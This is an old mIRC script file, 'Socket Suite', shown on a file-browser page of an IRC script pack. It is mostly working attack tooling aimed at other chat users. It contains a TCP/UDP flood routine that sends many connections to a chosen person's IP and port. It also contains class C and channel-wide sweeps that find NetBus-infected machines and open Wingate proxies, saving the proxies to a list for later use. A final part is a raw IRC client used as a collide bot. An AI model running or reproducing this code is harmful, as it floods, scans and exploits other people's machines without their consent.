CrazySS Script V2.0 — File Browser
CrazySSScriptV2.0 / CrazySSScriptV2.0 / system / SocketSuite.mrc
SocketSuite.mrc — 15.2 KB — Download this file
;Socket Suite Version 1.0 by: DrK_ToUc|-|
;
;yes yes yes I finally threw all my socket shit together into one control center.
;Below is a list of all that Socket Suite Version 1.0 contains...
;
;Wingate control center. features such as class c scan, connection, identd change, status, etc...
;Socket Scanner. To replace all yer external port scanner proggies.
;Netbus Scanner. Socket Pounder. Server Socket (for connecting to multiple servers).
;and last a raw socket collide bot.
;
;
menu nicklist {
-
Socket Suite
.NetBUS Scan
..Scan $snick(#,1):whois $1 | set %netbus.scanaddy $gettok($address($$1,2),2,64) | .sockclose nb* | %nb = $1 | .sockopen nb %netbus.scanaddy 12345 | echo 8 -a ***4 Scanning $1 for netBUS.
..Scan Whole Chan:spambus
..Class C Scan:set %netbus.scanaddy $?="Enter Ip Address" | classcscan2
.-
.Socket Pound
..Tcp:whois $1 | set %pound.addy $gettok($address($$1,2),2,64) | set %pound.port $?="Port To Pound?" | set %pound.hits $?="How Many Hits?" | pound
..Udp:set %pound.addy $?="Enter Ip Address" | set %pound.port $?="Port To Pound?" | set %pound.hits $?="How Many Hits?" | pound2
.-
.Socket Scanner:whois $1 | set %scan.addy $gettok($address($$1,2),2,64) | %socket.start = $?="Enter Start Port" | %socket.limit = $?="Enter Stop Port" | socketscan1
.-
.Wingate Control
..Scanners
...Chan Scan:spamscan
...Class C Scan:set %wingate.scanaddy $?="Enter Ip Address" | classcscan
..Connection
...Default Port:firewall -m5+d on $?="Enter Gate Address or IP" 1080 | echo 8 -a ***4 You must reconnect to Irc in order for the changes to take effect
...Force Socks4:fireall -m4 on $?="Enter Gate Address or IP" 1080 | echo 8 -a ***4 You must reconnect to Irc in order for the changes to take effect
...Manual Login:firewall -m5+d on $?="Enter Gate Address or IP" $?"="Enter Port" $?="Enter UserId" $?="Enter Password" | echo 8 -a ***4 You must reconnect to Irc in order for the changes to take effect
..Text File
...Read:run $mircdirgatelist.txt
...Erase:write -c $mircdirgatelist.txt | echo 4 -a *** Wingate Found List Erased.
..-
..Status:firewall
..Change Identd:identd on $?="Enter New Identd"
..Toggle Current On:firewall on
..Toggle Current Off:firewall off
..-
..Reconnect to Irc:server $server 7000
.-
.Server Socket:irc $$?="enter irc server"
.-
.Collide Bot:irc $server
}
;============================================================================================================
alias /socketscan1 {
echo -a *** Socket Scanning %scan.addy From Port %socket.start to %socket.limit
:loop
inc %socket.start
if (%socket.start == %socket.limit) { goto end } | .sockopen sscan $+ %socket.start %scan.addy %socket.start
goto loop
:end
unset %socket.start
unset %socket.limit
unset %scan.addy
.timer 1 10 echo -a *** Socket Scan Complete...
.timer 1 10 .sockclose sscan*
}
alias /irc {
set %ircnick $$?="Enter nickname"
if ($2 != $null) .sockopen irc $1 $2
else .sockopen irc $1 6667
window -e @irc
}
alias /procquit {
:top
if ($line( [ @irc $+ [ $read -s $+ [ $1 chans.txt ] ] ] ,$line( [ @irc $+ [ $read -s $+ [ $1 chans.txt ] ] ] ,0,0),0) != $1 quit $2-) {
aline -hp @irc $+ $read -s $+ $1 chans.txt $1 quit $2-
.sockwrite -n irc names $read -s $+ $1 chans.txt
}
write -ds $+ $1 chans.txt
if ($read -s $+ $1 chans.txt != $null) goto top
else halt
}
alias /pound {
echo -a *** Socket Pounding $snick(#,1) [Port: %pound.port ] [Protocol: Tcp] [Packets: %pound.hits ]
%pound.hits1 = 0
:loop
if ($sockerr > 0) { echo -a *** Socket Error, Aborting... | .sockclose pound* | halt }
if (%pound.hits1 == %pound.hits) { goto end }
.timer 1 1 .sockopen pound $+ %pound.hits1 %pound.addy %pound.port
inc %pound.hits1 1
goto loop
:end
halt
}
alias /pound2 {
echo -a *** Socket Pounding $snick(#,1) [Port: %pound.port ] [Protocol: Udp] [Packets: %pound.hits ]
%pound.hits1 = 0
:loop
if ($sockerr > 0) { echo -a *** Socket Error, Aborting... | .sockclose pound2* | halt }
if (%pound.hits1 == %pound.hits) { goto end }
.timer 1 1 .sockudp pound2 $+ %pound.hits1 %pound.addy %pound.port 64 %do
inc %pound.hits1 1
goto loop
:end
.sockclose pound2*
echo -a *** Socket Pound on $snick(#,1) Complete...
unset %pound.hits1
}
alias /classcscan {
set %wingate.scanaddy $gettok(%wingate.scanaddy,1-3,46)
echo 4 -a ***8 Class C Scanning $gettok(%wingate.scanaddy,1-3,46) $+ . $+ 0 For Wingates on Port 1080 4***
%gatescan.loop = 0
%gates.found = 0
:loop
inc %gatescan.loop 1
if (%gatescan.loop == 256) { goto end }
.sockopen classc $+ %gatescan.loop %wingate.scanaddy $+ . $+ %gatescan.loop 1080
goto loop
:end
.timer 1 5 echo 4 -a ***8 Class C Scan Complete. Closing All Sockets. 4***
.timer 1 5 .sockclose classc*
}
alias /classcscan2 {
set %netbus.scanaddy $gettok(%netbus.scanaddy,1-3,46)
echo 4 -a ***8 Class C Scanning $gettok(%netbus.scanaddy,1-3,46) $+ . $+ 0 For NetBUS 4***
%gatescan.loop = 0
%gates.found = 0
:loop
inc %gatescan.loop 1
if (%gatescan.loop == 256) { goto end }
.sockopen classc2 $+ %gatescan.loop %netbus.scanaddy $+ . $+ %gatescan.loop 12345
goto loop
:end
.timer 1 5 echo 4 -a ***8 Class C Scan Complete. Closing All Sockets. 4***
.timer 1 5 .sockclose classc2*
}
alias /spamscan {
echo 4 -a ***8 Scanning # For Wingates on 1080 4***
:loop
inc %i
if ($nick(#,0) < %i) { goto end }
whois $nick(#,%i) | %spam.gate = $gettok($address($nick(#,%i),2),2,64) | .sockopen spamgate $+ %i %spam.gate 1080
goto loop
:end
.timer 1 10 echo 4 -a ***8 Wingate Scan on # Complete. %i Nicks Scanned. 4***
.timer 1 10 .sockclose spamgate*
unset %i
}
alias /spambus {
echo 4 -a ***8 Scanning # For NetBus 4***
:loop
inc %i
if ($nick(#,0) < %i) { goto end }
whois $nick(#,%i) | %spam.bus = $gettok($address($nick(#,%i),2),2,64) | .sockopen spambus $+ %i %spam.bus 12345
goto loop
:end
.timer 1 10 echo 4 -a ***8 NetBus Scan on # Complete. %i Nicks Scanned. 4***
.timer 1 10 .sockclose spambus*
unset %i
}
;============================================================================================================
on *:sockopen:sscan*:if ($sockerr > 0) { return } | echo -a *** Socket Open: $sock($sockname).ip Port: $sock($sockname).port
on *:sockopen:spambus*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible NetBus Found:7 $sock($sockname).ip
on *:sockopen:spamgate*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible Wingate Found:7 $sock($sockname).ip | write -l $mircdirextraz\gatelist.txt $sock($sockname).ip
on *:sockopen:classc*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible Wingate Found:7 $sock($sockname).ip | write -l $mircdirextraz\gatelist.txt $sock($sockname).ip
on *:sockopen:classc2*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible NetBUS Found:7 $sock($sockname).ip
on *:sockread:bo:sockread -f %bo.traffic | echo 8 -a ***4 BO Socket:[ %bo ]:>9 %bo.traffic
on *:sockopen:tk:.sockwrite tk* Bye Fuck Face | .sockclose tk*
on *:sockopen:bo:if ($sockerr > 0) { echo 8 -a ***4 %bo Is Clean of BO. | return } | echo 9 -a *** %bo is Infected with BO | unset %bo
on *:sockopen:nb:if ($sockerr > 0) { echo 8 -a ***4 %nb Is Clean of netBUS. | return } | echo 9 -a *** %nb is Infected with netBUS | unset %nb
on 1:sockopen:irc: {
write -c chans.txt
aline -h @irc Connected
sockwrite -n irc nick %ircnick | aline -hp @irc nick %ircnick
sockwrite -n irc user Dna Dna.com Dna.com :Dna user | aline -hp @irc user Dna Dna.com Dna.com :Dna
}
on 1:sockread:irc: {
if ($sockerr > 0) return
:nextread
sockread %irc
if ($sockbr == 0) return
if (%irc == $null) %irc = -
if ($gettok(%irc,2,32) == 353) {
set %tempchan $gettok(%irc,5,32)
clear -l @irc $+ %tempchan
set % $+ [ [ %tempchan ] ] $remove($deltok($deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32),1,32),:)
:top
aline -l @irc $+ %tempchan $gettok( [ % [ $+ [ %tempchan ] ] ] ,1,32)
write -l chans.txt $remove($gettok( [ % [ $+ [ %tempchan ] ] ] ,1,32),@) %tempchan
set % $+ %tempchan $deltok( [ % [ $+ [ %tempchan ] ] ] ,1,32)
if ( [ % [ $+ [ %tempchan ] ] ] != $null) goto top
if ( [ % [ $+ [ %tempchan ] ] ] == $null) halt
}
if (PING :& iswm %irc) { sockwrite -n irc pong $remove(%irc,:) | goto nextread | halt }
if ($gettok(%irc,2,32) !isnum) {
if ($left($gettok(%irc,3,32),2) == : $+ $chr(35) && $gettok(%irc,2,32) == JOIN) {
if ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) == %ircnick) { window -Sel12 @irc $+ $remove($gettok(%irc,3,32),:) | aline -hpc3 @irc $+ $remove($gettok(%irc,3,32),:) Now talking in $remove($gettok(%irc,3,32),:) }
else {
aline -hpc3 @irc $+ $remove($gettok(%irc,3,32),:) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) has joined $remove($gettok(%irc,3,32),:)
aline -l @irc $+ $remove($gettok(%irc,3,32),:) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2))
write -l chans.txt $remove($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)),@) $remove($gettok(%irc,3,32),:)
}
goto nextread
halt
}
if ($left($gettok(%irc,3,32),1) == $chr(35)) {
if ($gettok(%irc,2,32) == PRIVMSG) {
if ($gettok(%irc,4,32) == :ACTION) aline -hp @irc $+ $gettok(%irc,3,32) * $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $remove($remove($remove($remove(%irc,$gettok(%irc,1,32)),$gettok(%irc,2,32)),$gettok(%irc,3,32)),:ACTION)))
elseif ($gettok(%irc,4,32) == :PING) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> PING | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :PING $gettok(%irc,5,32) }
elseif ($gettok(%irc,4,32) == :VERSION) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> VERSION | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :VERSION %brag }
elseif ($gettok(%irc,4,32) == :SOUND) {
splay $remove($gettok(%irc,5,32) ,)
aline -hpc4 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) Sound $remove($gettok(%irc,5,32) ,)
}
else aline -hp @irc $+ $gettok(%irc,3,32) < $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $+ > $remove($remove($remove(%irc,$gettok(%irc,1,32)),$gettok(%irc,2,32)),$gettok(%irc,3,32))
}
elseif (($gettok(%irc,2,32) == PART) && ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) != %ircnick)) {
aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) has left $gettok(%irc,3,32)
sockwrite -n irc names $gettok(%irc,3,32)
}
elseif (($gettok(%irc,2,32) == PART) && ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) == %ircnick)) halt
elseif ($gettok(%irc,2,32) == TOPIC) {
aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) changes topic to $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
titlebar @irc $+ $gettok(%irc,3,32) $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
}
elseif ($gettok(%irc,2,32) == MODE) {
aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) sets mode $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
if ((o isin %irc) || (v isin %irc)) {
sockwrite -n irc names $gettok(%irc,3,32)
}
}
elseif ($gettok(%irc,2,32) == KICK) {
aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) kicked $gettok(%irc,4,32) ( $+ $deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32)
sockwrite -n irc names $gettok(%irc,3,32)
}
else aline -hp @irc %irc
}
elseif ($gettok(%irc,2,32) == NOTICE) {
if ($gettok(%irc,4,32) == :PING) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) PING reply: $duration($calc($ctime - $remove($gettok(%irc,5,32),))) | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :Your PING is $duration($calc($ctime - $remove($gettok(%irc,5,32),))) }
else aline -hp @irc < $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $+ > $replace($deltok($deltok(%irc,1,32),2,32) , NOTICE ,5)
}
else {
if ($gettok(%irc,2,32) == PRIVMSG) {
if ($gettok(%irc,4,32) == :ACTION) aline -hp @irc $+ $gettok(%irc,3,32) * $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $remove($remove($remove($remove(%irc,$gettok(%irc,1,32)),$gettok(%irc,2,32)),$gettok(%irc,3,32)),:ACTION)))
elseif ($gettok(%irc,4,32) == :PING) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> PING | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :PING $gettok(%irc,5,32) }
elseif ($gettok(%irc,4,32) == :VERSION) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> VERSION | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :VERSION %brag }
else {
window -e @irc $+ $chr(63) $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2))
aline -hp @irc $+ $chr(63) $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) < $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $+ > $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
}
}
if ($gettok(%irc,2,32) == QUIT) {
procquit $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $deltok($deltok(%irc,1,32),1,32)
}
if ($gettok(%irc,2,32) == NICK) {
if ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) == %ircnick) {
set %ircnick $remove($gettok(%irc,3,32),:)
aline -hpc3 @irc Your nick is now $remove($gettok(%irc,3,32),:)
}
else aline -hpc3 @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) is now known as $remove($gettok(%irc,3,32),:)
}
}
}
elseif ($gettok(%irc,2,32) == 332) {
aline -hpc3 @irc $+ $gettok(%irc,4,32) Topic is: $deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32)
titlebar @irc $+ $gettok(%irc,4,32) $deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32)
}
elseif ($gettok(%irc,2,32) == 328) aline -hpc3 @irc $+ $gettok(%irc,4,32) $gettok(%irc,4,32) homepage at $right($gettok(%irc,5,32),$calc($len($gettok(%irc,5,32) -1)))
elseif ($gettok(%irc,2,32) == 333) aline -hpc3 @irc $+ $gettok(%irc,4,32) Set by $gettok(%irc,5,32) on $asctime($gettok(%irc,6,32))
elseif ($gettok(%irc,2,32) == 366) { goto nextread | halt }
else aline -hp @irc $remove(%irc,$gettok(%irc,1,32))
goto nextread
}
on 1:sockclose:irc:window -c @irc | write -c chans.txt
;=============================================================================================================
on *:load:echo 4 -a ***8 ·« 9Socket Suite8 »· Version 1.0 by: 4DrK_ToUc|-|8 Loaded. 4 ***
;EOF